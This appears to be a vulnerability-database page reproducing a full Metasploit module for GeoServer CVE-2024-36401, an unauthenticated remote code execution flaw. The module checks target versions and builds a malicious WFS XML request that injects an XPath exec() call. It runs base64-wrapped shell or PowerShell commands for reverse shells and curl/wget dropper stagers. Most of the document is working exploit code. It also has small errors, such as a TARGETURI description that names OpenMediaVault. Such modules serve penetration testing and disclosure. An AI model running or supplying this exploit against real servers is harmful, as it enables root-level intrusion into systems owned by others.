Lucene search

K
zdtMetasploit1337DAY-ID-39682
HistoryJul 16, 2024 - 12:00 a.m.

Geoserver Unauthenticated Remote Code Execution Exploit

2024-07-1600:00:00
metasploit
0day.today
118
geoserver
remote code execution
unauthenticated
java
security vulnerability
ogc
xpath expressions

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.6

Confidence

Low

EPSS

0.959

Percentile

99.5%

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets. In the GeoServer versions before 2.23.6, greater than or equal to 2.24.0, before 2.24.4 and greater than equal to 2.25.0, and before 2.25.1, multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. An attacker can abuse this by sending a POST request with a malicious xpath expression to execute arbitrary commands as root on the system.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geoserver unauthenticated Remote Code Execution',
        'Description' => %q{
          GeoServer is an open-source software server written in Java that provides
          the ability to view, edit, and share geospatial data.
          It is designed to be a flexible, efficient solution for distributing geospatial data
          from a variety of sources such as Geographic Information System (GIS) databases,
          web-based data, and personal datasets.
          In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
          multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
          through specially crafted input against a default GeoServer installation due to unsafely
          evaluating property names as XPath expressions.
          An attacker can abuse this by sending a POST request with a malicious xpath expression
          to execute arbitrary commands as root on the system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'jheysel-r7', # MSF module Windows support
          'Steve Ikeoka' # Discovery
        ],
        'References' => [
          ['CVE', '2024-36401'],
          ['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
          ['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
        ],
        'DisclosureDate' => '2024-07-01',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
              # Tested with cmd/unix/reverse_bash
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => ['linux'],
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
              'Type' => :linux_dropper,
              'Linemax' => 16384,
              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
              # Tested with linux/x64/meterpreter_reverse_tcp
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['Windows'],
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8080,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/'])
      ]
    )
  end

  def check_version
    print_status('Trying to detect if target is running a vulnerable version of GeoServer.')
    res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'),
      'keep_cookies' => true,
      'method' => 'GET'
    })
    return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')

    html = res.get_html_document
    unless html.blank?
      # html identifier for Geoserver version information: <span id="version">2.23.2</span>
      version = html.css('span[id="version"]')
      return Rex::Version.new(version[0].text) unless version[0].nil?
    end
    nil
  end

  def get_valid_featuretype
    allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
    res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
      'method' => 'GET',
      'ctype' => 'application/xml',
      'keep_cookies' => true,
      'vars_get' => {
        'request' => 'ListStoredQueries',
        'service' => 'wfs'
      }
    })
    return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')

    xml = res.get_xml_document
    unless xml.blank?
      xml.remove_namespaces!
      # get all the FeatureTypes and store them in an array of strings
      retrieved_feature_types = xml.xpath('//ReturnFeatureType')
      # shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
      # return the feature type if a match is found in the allowed_feature_types array
      retrieved_feature_types.to_a.shuffle.each do |feature_type|
        return feature_type.text if allowed_feature_types.include?(feature_type.text)
      end
    end
    nil
  end

  def create_payload(cmd)
    # get a valid feature type and fail back to a default if not successful
    feature_type = get_valid_featuretype
    feature_type = 'sf:archsites' if feature_type.nil?

    case target['Type']
    when :unix_cmd || :linux_dropper
      # create customised b64 encoded payload
      # 'Encoder' => 'cmd/base64' does not work in this particular use case
      cmd_b64 = Base64.strict_encode64(cmd)
      cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
    when :win_cmd
      enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
      cmd = "powershell.exe -e #{enc_cmd}"
    end

    return <<~EOS
      <wfs:GetPropertyValue service='WFS' version='2.0.0'
        xmlns:topp='http://www.openplans.org/topp'
        xmlns:fes='http://www.opengis.net/fes/2.0'
        xmlns:wfs='http://www.opengis.net/wfs/2.0'>
          <wfs:Query typeNames="#{feature_type}"/>
          <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "#{cmd}")</wfs:valueReference>
      </wfs:GetPropertyValue>
    EOS
  end

  def execute_command(cmd, _opts = {})
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
      'method' => 'POST',
      'ctype' => 'application/xml',
      'keep_cookies' => true,
      'data' => create_payload(cmd)
    })
    fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
  end

  def check
    version_number = check_version
    return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?
    return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')

    CheckCode::Safe("Version #{version_number}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager({ linemax: target.opts['Linemax'] })
    end
  end
end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.6

Confidence

Low

EPSS

0.959

Percentile

99.5%